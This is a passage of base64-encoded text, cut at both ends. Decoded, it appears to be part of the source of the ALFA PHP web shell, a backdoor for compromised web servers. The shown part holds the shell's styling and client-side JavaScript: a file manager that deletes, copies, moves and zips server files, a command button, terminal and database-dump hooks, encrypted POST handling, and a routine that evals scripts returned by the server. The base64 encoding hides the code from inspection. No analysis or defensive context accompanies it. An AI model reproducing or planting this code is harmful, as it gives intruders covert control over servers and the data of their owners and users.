2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfbWludXMucG5nKX0KPD9waHAgZWNobyAnCkBrZXlmcmFtZXMgc3BpbiB7ZnJvbSB7dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRve3RyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC13ZWJraXQta2V5ZnJhbWVzIHNwaW4ge2Zyb20gey13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRvIHstd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC1tb3ota2V5ZnJhbWVzIHNwaW4ge2Zyb20gey1tb3otdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRvIHstbW96LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC1tcy1rZXlmcmFtZXMgc3BpbiB7ZnJvbSB7LW1zLXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LW1zLXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KI2FsZmFsb2FkZXJ7Jy4kY3NzY29kZS4nd2lkdGg6MTAwcHg7aGVpZ2h0OjEwMHB4O30KI2FfbG9hZGVyIGltZ3snLiRjc3Njb2RlLid3aWR0aDoxNTBweDtoZWlnaHQ6MTUwcHg7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDo5OTk5OTk7dG9wOiAzMSU7bGVmdDogNDUlO30KLmFqYXhhcmVhe2Rpc3BsYXk6bm9uZTtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7Y29sb3I6IzY3QUJERn0udXBfYmFye21hcmdpbi1ib3R0b206IDJweDt0cmFuc2l0aW9uOndpZHRoIDJzO2JhY2tncm91bmQtY29sb3I6cmVkO3dpZHRoOjA7aGVpZ2h0OjhweDtkaXNwbGF5Om5vbmU7fSNoaWRkZW5fc2h7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO3RleHQtYWxpZ246Y2VudGVyO3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjA7bGVmdDo5MCU7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czoyZW19LmFsZXJ0X2dyZWVue2NvbG9yOiMwRjA7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpzbWFsbDt0ZXh0LWRlY29yYXRpb246bm9uZX0ud2hvbGV7YmFja2dyb3VuZC1jb2xvcjojMDAwO2JhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2FsZmFiZy5wbmcpO2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyO2JhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXR9LmhlYWRlcntoZWlnaHQ6YXV0bzt3aWR0aDphdXRvO2JvcmRlcjo3cHggc29saWQgIzBFMzA0QTtjb2xvcjonLmFsZmFfZ2V0Q29sb3IoImhlYWRlcl92YWx1ZXMiKS4nO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWZ9LmhlYWRlciBhe3RleHQtZGVjb3JhdGlvbjpub25lO30uZmlsZXN0b29scyBhe2NvbG9yOiMwRjA7dGV4dC1kZWNvcmF0aW9uOm5vbmV9LmZpbGVzdG9vbHMgYTpob3Zlcntjb2xvcjojRkZGO3RleHQtZGVjb3JhdGlvbjpub25lO31zcGFue2ZvbnQtd2VpZ2h0OmJvbGRlcjtjb2xvcjojRkZGfS50eHRmb250e2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtmb250LXNpemU6c21hbGw7Y29sb3I6I2ZmZjtkaXNwbGF5OmlubGluZS1ibG9ja30udHh0Zm9udF9oZWFkZXJ7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpsYXJnZTtkaXNwbGF5OmlubGluZS1ibG9jaztjb2xvcjojNTljYzMzfS50Ymx0eHR7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2NvbG9yOiNmZmY7Zm9udC1zaXplOnNtYWxsO2Rpc3BsYXk6aW5saW5lLWJsb2NrfWlucHV0W3R5cGU9ImZpbGUiXXtkaXNwbGF5Om5vbmV9LmlucHV0ZmlsZXtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtib3JkZXItcmFkaXVzOjRweDtoZWlnaHQ6MjBweDt3aWR0aDoyNTBweDt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcDtjdXJzb3I6cG9pbnRlcjtkaXNwbGF5OmlubGluZS1ibG9jaztvdmVyZmxvdzpoaWRkZW59LmlucHV0ZmlsZTpob3Zlcntib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH0uaW5wdXRmaWxlIHNwYW4sLmlucHV0ZmlsZSBzdHJvbmd7cGFkZGluZzoycHg7cGFkZGluZy1sZWZ0OjEwcHh9LmlucHV0ZmlsZSBzcGFue2NvbG9yOiMyNWZmMDA7d2lkdGg6OTBweDttaW4taGVpZ2h0OjJlbTtkaXNwbGF5OmlubGluZS1ibG9jazt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcDtvdmVyZmxvdzpoaWRkZW47dmVydGljYWwtYWxpZ246dG9wO2Zsb2F0OmxlZnR9LmlucHV0ZmlsZSBzdHJvbmd7YmFja2dyb3VuZC1pbWFnZTp1cmwoJy5fX3Nob3dpY29uKCdhbGZhbWluaScpLicpO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOmZsb2F0O2hlaWdodDoxMDAlO3dpZHRoOjEwOXB4O2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2Zsb2F0OnJpZ2h0fS5pbnB1dGZpbGU6Zm9jdXMgc3Ryb25nLC5pbnB1dGZpbGUuaGFzLWZvY3VzIHN0cm9uZywuaW5wdXRmaWxlOmhvdmVyIHN0cm9uZ3tiYWNrZ3JvdW5kLWNvbG9yOiM0NjY0N0F9LmJ1dHRvbntwYWRkaW5nOjNweH0jYWRkdXAsLmJ1dHRvbntvdXRsaW5lOm5vbmU7Y3Vyc29yOnBvaW50ZXI7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4O2JhY2tncm91bmQtY29sb3I6IzAwMDtjb2xvcjpncmVlbjtib3JkZXItcmFkaXVzOjEwMHB4fSNhZGR1cDpob3ZlciwuYnV0dG9uOmhvdmVye2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5Qjstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czoxMDBweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9aW5wdXRbdHlwZT10ZXh0XTpkaXNhYmxlZDpob3ZlcntjdXJzb3I6bm90LWFsbG93ZWR9dGR7cGFkZGluZzonLigkR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ109PScxJz8nMCc6JzEnKS4ncHh9Lm15Q2hlY2tib3h7cGFkZGluZy1sZWZ0OjJweH0ubXlDaGVja2JveCBsYWJlbHtkaXNwbGF5OmlubGluZS1ibG9jaztjdXJzb3I6cG9pbnRlcjtwb3NpdGlvbjpyZWxhdGl2ZX0ubXlDaGVja2JveCBpbnB1dFt0eXBlPWNoZWNrYm94XXtkaXNwbGF5Om5vbmV9Lm15Q2hlY2tib3ggbGFiZWw6YmVmb3Jle2NvbnRlbnQ6IiI7ZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MTRweDtoZWlnaHQ6MTNweDtwb3NpdGlvbjphYnNvbHV0ZTtiYWNrZ3JvdW5kLWNvbG9yOiNhYWE7Ym94LXNoYWRvdzppbnNldCAwIDJweCAzcHggMCByZ2JhKDAsMCwwLC4zKSwwIDFweCAwIDAgcmdiYSgyNTUsMjU1LDI1NSwuOCl9Lm15Q2hlY2tib3ggbGFiZWx7bWFyZ2luLWJvdHRvbToxNXB4O3BhZGRpbmctcmlnaHQ6MTdweH0ubXlDaGVja2JveCBsYWJlbDpiZWZvcmV7Ym9yZGVyLXJhZGl1czoxMDBweH1pbnB1dFt0eXBlPWNoZWNrYm94XTpjaGVja2VkICsgbGFiZWw6YmVmb3Jle2NvbnRlbnQ6IiI7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO2JhY2tncm91bmQtaW1hZ2U6dXJsKCcuX19zaG93aWNvbignYWxmYW1pbmknKS4nKTtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjo1MCUgNTAlO2JhY2tncm91bmQtc2l6ZToxNHB4IDE0cHg7Ym94LXNoYWRvdzowIDAgNHB4ICMwRjB9I21ldW5saXN0e2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRjt3aWR0aDphdXRvO2JvcmRlci1yaWdodC13aWR0aDo3cHg7Ym9yZGVyLWxlZnQtd2lkdGg6N3B4O2hlaWdodDphdXRvO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OjcwMDtib3JkZXItdG9wLXdpZHRoOjA7Ym9yZGVyLWNvbG9yOiMwRTMwNEE7Ym9yZGVyLXN0eWxlOnNvbGlkfS53aG9sZSAjbWV1bmxpc3QgdWx7dGV4dC1hbGlnbjpjZW50ZXI7bGlzdC1zdHlsZS10eXBlOm5vbmU7bWFyZ2luOjA7cGFkZGluZzo1cHggNXB4IDdweCAycHh9Lndob2xlICNtZXVubGlzdCBsaXttYXJnaW46MDtwYWRkaW5nOjA7ZGlzcGxheTppbmxpbmV9Lndob2xlICNtZXVubGlzdCBhe2ZvbnQtZmFtaWx5OmFyaWFsLHNhbnMtc2VyaWY7Zm9udC1zaXplOjE0cHg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Zm9udC13ZWlnaHQ6NzAwO2NsZWFyOmJvdGg7d2lkdGg6MTAwcHg7bWFyZ2luLXJpZ2h0Oi02cHg7Ym9yZGVyLXJpZ2h0LXdpZHRoOjFweDtib3JkZXItcmlnaHQtc3R5bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LWNvbG9yOiNGRkY7cGFkZGluZzozcHggMTVweH0uZm9vdHtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmO21hcmdpbjowO3BhZGRpbmc6MDt3aWR0aDoxMDAlO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxMnB4O2NvbG9yOiMwRTMwNEE7Ym9yZGVyLXJpZ2h0LXdpZHRoOjdweDtib3JkZXItbGVmdC13aWR0aDo3cHg7Ym9yZGVyLWJvdHRvbS13aWR0aDo3cHg7Ym9yZGVyLWJvdHRvbS1zdHlsZTpzb2xpZDtib3JkZXItcmlnaHQtc3R5bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1sZWZ0LXN0eWxlOnNvbGlkO2JvcmRlci1jb2xvcjojMEUzMDRBfSN0ZXh0e3RleHQtYWxpZ246Y2VudGVyfWlucHV0W3R5cGU9c3VibWl0XXtjdXJzb3I6cG9pbnRlcjtiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2J0bicpLicpO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOjUwJSA1MCU7YmFja2dyb3VuZC1zaXplOjIzcHggMjNweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7Ym9yZGVyLXJhZGl1czoxMDBweH10ZXh0YXJlYXtwYWRkaW5nOjNweDtjb2xvcjojOTk5O3RleHQtc2hhZG93OiM3NzcgMCAwIDNweDtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fXRleHRhcmVhOmhvdmVye2NvbG9yOiNGRkY7dGV4dC1zaGFkb3c6IzA2MCAwIDAgNnB4O2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5QjtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF0saW5wdXRbdHlwZT1udW1iZXJdLC5hbGZhX2N1c3RvbV9jbWRfYnRue3BhZGRpbmc6M3B4O2NvbG9yOiM5OTk7dGV4dC1zaGFkb3c6Izc3NyAwIDAgM3B4O2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHh9aW5wdXRbdHlwZT1zdWJtaXRdOmhvdmVye2NvbG9yOiMwMDA7dGV4dC1zaGFkb3c6IzA2MCAwIDAgNnB4O2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoycHggc29saWQgIzI3OTc5QjstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF06aG92ZXJ7Y29sb3I6I0ZGRjt0ZXh0LXNoYWRvdzojMDYwIDAgMCA2cHg7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9c2VsZWN0e3BhZGRpbmc6M3B4O3dpZHRoOjE2MnB4O2NvbG9yOiNGRkU7dGV4dC1zaGFkb3c6IzAwMCAwIDJweCA3cHg7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6IzAwMDt0ZXh0LWRlY29yYXRpb246bm9uZTtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fXNlbGVjdDpob3Zlcntib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH0KLmZvb3R0YWJsZXt3aWR0aDogMzAwcHg7Zm9udC13ZWlnaHQ6IGJvbGQ7Jy4oIUBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyd9LmRpcntiYWNrZ3JvdW5kLWNvbG9yOnJlZDt9JzonfScpLicubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7fS5tYWluIGF7Y29sb3I6ICNGRkY7fS5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzY0NjQ2NCAhaW1wb3J0YW50O30ubWwxeyBib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0uYmlnYXJlYXsgd2lkdGg6OTklOyBoZWlnaHQ6MzAwcHg7IH0uYWxmYV9jdXN0b21fY21kX2J0biB7cGFkZGluZzogNXB4O2NvbG9yOiAjMjRmZjAzO2N1cnNvcjogcG9pbnRlcjt9LmFqYXhhcmVhLmZpbGVzbWFuLWFjdGl2ZS1jb250ZW50IHtkaXNwbGF5OiBibG9jazt9Jy5hbGZhQ3NzTG9hZENvbG9ycygpLicKPC9zdHlsZT4nOwplY2hvICI8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+CnZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7CnZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJzsKdmFyIGNoYXJzZXRfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwp2YXIgaXNsaW51eCA9ICIuKCRHTE9CQUxTWydzeXMnXSE9IndpbiI/J3RydWUnOidmYWxzZScpLiI7CnZhciBwb3N0X2VuY3J5cHRpb25fbW9kZSA9ICIuKF9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXz8ndHJ1ZSc6J2ZhbHNlJykuIjsiOz8+CnZhciBhbGZhMV89IiIsYWxmYTJfPSIiLGFsZmEzXz0iIixhbGZhNF89IiIsYWxmYTVfPSIiLGFsZmE2Xz0iIixhbGZhN189IiIsYWxmYThfPSIiLGFsZmE5Xz0iIixhbGZhMTBfPSIiLGQ9ZG9jdW1lbnQsbXlzcWxfY2FjaGU9e30sZWRpdG9yX2ZpbGVzPXt9LGVkaXRvcl9lcnJvcj0hMCxlZGl0b3JfY3VycmVudF9maWxlPSIiLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITEsaXNfbWluaW1pemVkPSExLGNnaV9pc19taW5pbWl6ZWQ9ITEsb3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSExLGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQ9ITEscmlnaHRjbGlja19tZW51X2NvbnRleHQ9bnVsbCxjYW5faGFzaGNoYW5nZV93b3JrPSEwLGFsZmFfY2FuX2FkZF9vcHQ9ITEsYWxmYV9iZWZvcmVfZG9fYWN0aW9uX2lkPSIiLGFsZmFfYWNlX2VkaXRvcnM9e2VkaXRvcjpudWxsLGV2YWw6bnVsbH0sY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhPXt9LF9BTEZBX0FKQVhfPXt9LGNnaV9sYW5nPSIiLHVwY291bnQ9MSx0ZXJtaW5hbF93YWxrX2luZGV4PVtdLGFsZmFfY3VycmVudF9mbV9pZD0xLGFsZmFfZm1faWQ9MDtmdW5jdGlvbiBzZXQoZSxhLHQsaSxsLG8scixuLHMsYyxmLF8sdSl7ZC5tZi5hLnZhbHVlPW51bGwhPWU/ZTphXyxkLm1mLmMudmFsdWU9bnVsbCE9YT9hOmNfLGQubWYuYWxmYTEudmFsdWU9bnVsbCE9dD90OiIiLGQubWYuYWxmYTIudmFsdWU9bnVsbCE9aT9pOiIiLGQubWYuYWxmYTMudmFsdWU9bnVsbCE9bD9sOiIiLGQubWYuYWxmYTQudmFsdWU9bnVsbCE9bz9vOiIiLGQubWYuYWxmYTUudmFsdWU9bnVsbCE9cj9yOiIiLGQubWYuYWxmYTYudmFsdWU9bnVsbCE9bj9uOiIiLGQubWYuYWxmYTcudmFsdWU9bnVsbCE9cz9zOiIiLGQubWYuYWxmYTgudmFsdWU9bnVsbCE9Yz9jOiIiLGQubWYuYWxmYTkudmFsdWU9bnVsbCE9Zj9mOiIiLGQubWYuYWxmYTEwLnZhbHVlPW51bGwhPV8/XzoiIixkLm1mLmNoYXJzZXQudmFsdWU9bnVsbCE9dT91OmNoYXJzZXRffWZ1bmN0aW9uIGZjKGUpe3ZhciBhPWFsZmFfY3VycmVudF9mbV9pZCx0PSJhPSIrYWxmYWI2NCgiRmlsZXNNYW4iKSsiJmM9IithbGZhYjY0KGUuYy52YWx1ZSkrIiZhbGZhMT0iK2FsZmFiNjQoZS5hbGZhMS52YWx1ZSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpKyImIixpPSIiLGw9MDtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl9ob2xkZXJfIithKyIgZm9ybVtuYW1lPWZpbGVzXSBpbnB1dFt0eXBlPWNoZWNrYm94XSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkJiYobCsrLGkrPSJmW109IithbGZhYjY0KGRlY29kZVVSSUNvbXBvbmVudChlLnZhbHVlKSkrIiYiKX0pLDA9PWwmJiJwYXN0ZSIhPWUuYWxmYTEudmFsdWUpcmV0dXJuITE7c3dpdGNoKGFsZmFsb2FkZXIoImZpbGVzbWFuX2hvbGRlcl8iK2EsImJsb2NrIiksZS5hbGZhMS52YWx1ZSl7Y2FzZSJkZWxldGUiOmQucXVlcnlTZWxlY3RvckFsbCgiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiAuZm1hbmFnZXItcm93IikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgYT1lLnF1ZXJ5U2VsZWN0b3IoImlucHV0W3R5cGU9Y2hlY2tib3hdIik7YS5jaGVja2VkJiYiLi4iIT1hLnZhbHVlP2UucmVtb3ZlKCk6YS5jaGVja2VkPSExfSksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIC5jaGtieCIpLmNoZWNrZWQ9ITE7YnJlYWs7Y2FzZSJjb3B5IjpjYXNlIm1vdmUiOmNhc2UiemlwIjpjYXNlInVuemlwIjpkLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl9ob2xkZXJfIithKyIgaW5wdXRbdHlwZT1jaGVja2JveF06Y2hlY2tlZCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkPSExfSl9X0FqYXgoZC5VUkwsdCtpLGZ1bmN0aW9uKGUpe2FsZmFsb2FkZXIoImZpbGVzbWFuX2hvbGRlcl8iK2EsIm5vbmUiKSxhbGZhRm1uZ3JDb250ZXh0Um93KCl9LCExLCJmaWxlc21hbl9ob2xkZXJfIithKX1mdW5jdGlvbiBpbml0RGlyKGUpe3ZhciBhPSIiLHQ9IiI7aXNsaW51eCYmKGE9IjxhIGNsYXNzPVwiaGVhZGVyX3B3ZFwiIG9uY2xpY2s9XCJnKCdGaWxlc01hbicsJy8nKTtcIiBwYXRoPScvJyBocmVmPScjYWN0aW9uPWZpbGVtYW4mcGF0aD0vJz4vPC9hPiIsdD0iLyIpO3ZhciBsPWUuc3BsaXQoIi8iKSxvPSIiLHI9aXNsaW51eD8iLyI6IiI7Zm9yKGkgaW4iLTEiIT1sLmluZGV4T2YoIi4uIikmJihsLnNwbGljZShsLmluZGV4T2YoIi4uIiktMSwxKSxsLnNwbGljZShsLmluZGV4T2YoIi4uIiksMSkpLGwpIiIhPWxbaV0mJihvKz0iPGEgb25jbGljaz1cImcoJ0ZpbGVzTWFuJywnIityK2xbaV0rIi8nKTtcIiBwYXRoPSciK3IrbFtpXSsiLycgaHJlZj0nI2FjdGlvbj1maWxlbWFuJnBhdGg9IityK2xbaV0rJy9cJyBjbGFzcz0iaGVhZGVyX3B3ZCI+JytsW2ldKyIvPC9hPiIscis9bFtpXSsiLyIpOyQoImhlYWRlcl9jd2QiKS5pbm5lckhUTUw9YStvKyIgIixhbGZhSW5pdEN3ZENvbnRleHQoKSxsPShsPXQrbC5qb2luKCIvIikpLnJlcGxhY2UoIi8vIiwiLyIpLGQuZm9vdGVyX2Zvcm0uYy52YWx1ZT1sLCQoImZvb3Rlcl9jd2QiKS52YWx1ZT1sLGNfPWx9ZnVuY3Rpb24gZXZhbEpTKGh0bWwpe3ZhciBuZXdFbGVtZW50PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO25ld0VsZW1lbnQuaW5uZXJIVE1MPWh0bWw7Zm9yKHZhciBzY3JpcHRzPW5ld0VsZW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInNjcmlwdCIpLGk9MDtpPHNjcmlwdHMubGVuZ3RoOysraSl7dmFyIHNjcmlwdD1zY3JpcHRzW2ldO2V2YWwoc2NyaXB0LmlubmVySFRNTCl9fWZ1bmN0aW9uIF9BamF4KGUsYSx0LGksbCl7dmFyIG89ITE7cmV0dXJuIHdpbmRvdy5YTUxIdHRwUmVxdWVzdD9vPW5ldyBYTUxIdHRwUmVxdWVzdDp3aW5kb3cuQWN0aXZlWE9iamVjdCYmKG89bmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIikpLHZvaWQgMCE9PWwmJihfQUxGQV9BSkFYX1tsXT1vKSxvPyhvLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpezQ9PW8ucmVhZHlTdGF0ZSYmMjAwPT1vLnN0YXR1cz8iZnVuY3Rpb24iPT10eXBlb2YgdCYmKHQoby5yZXNwb25zZVRleHQsbCksYWxmYUNsZWFyQWpheChsKSk6ND09by5yZWFkeVN0YXRlJiYyMDAhPW8uc3RhdHVzJiYoYWxmYUFqYXhFcnJvcihvLnN0YXR1cyxsLG8uc3RhdHVzVGV4dCxvLnJlc3BvbnNlVGV4dCksYWxmYUNsZWFyQWpheChsKSl9LG8ub3BlbigiUE9TVCIsZSwhMCksby5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSx2b2lkIG8uc2VuZChhKSk6dm9pZCBhbGVydCgiRXJyb3IgISIpfWZ1bmN0aW9uIGFsZmFDbGVhckFqYXgoZSl7X0FMRkFfQUpBWF8uaGFzT3duUHJvcGVydHkoZSkmJmRlbGV0ZSBfQUxGQV9BSkFYX1tlXX1mdW5jdGlvbiBoYW5kbGV1cChlLGEpe3ZhciB0PSJfX2ZuYW1ldXAiO2lmKDAhPWEmJih0PSJfX2ZuYW1ldXAiK2EpLGUuZmlsZXMubGVuZ3RoPjEpe2Zvcih2YXIgaT0iIixsPTA7bDxlLmZpbGVzLmxlbmd0aDtsKyspaSs9ZS5maWxlc1swXS5uYW1lKyIsICI7JCh0KS5pbm5lckhUTUw9aX1lbHNlIGUuZmlsZXNbMF0ubmFtZSYmKCQodCkuaW5uZXJIVE1MPWUuZmlsZXNbMF0ubmFtZSl9ZnVuY3Rpb24gdShlKXt2YXIgYT0hMSx0PTAsaT1hbGZhX2N1cnJlbnRfZm1faWQsbD1uZXcgRm9ybURhdGEsbz0iZmlsZXNtYW5faG9sZGVyXyIraTtsLmFwcGVuZCgiYSIsYWxmYWI2NChlLmEudmFsdWUpKSxsLmFwcGVuZCgiYyIsYWxmYWI2NChlLmMudmFsdWUpKSxsLmFwc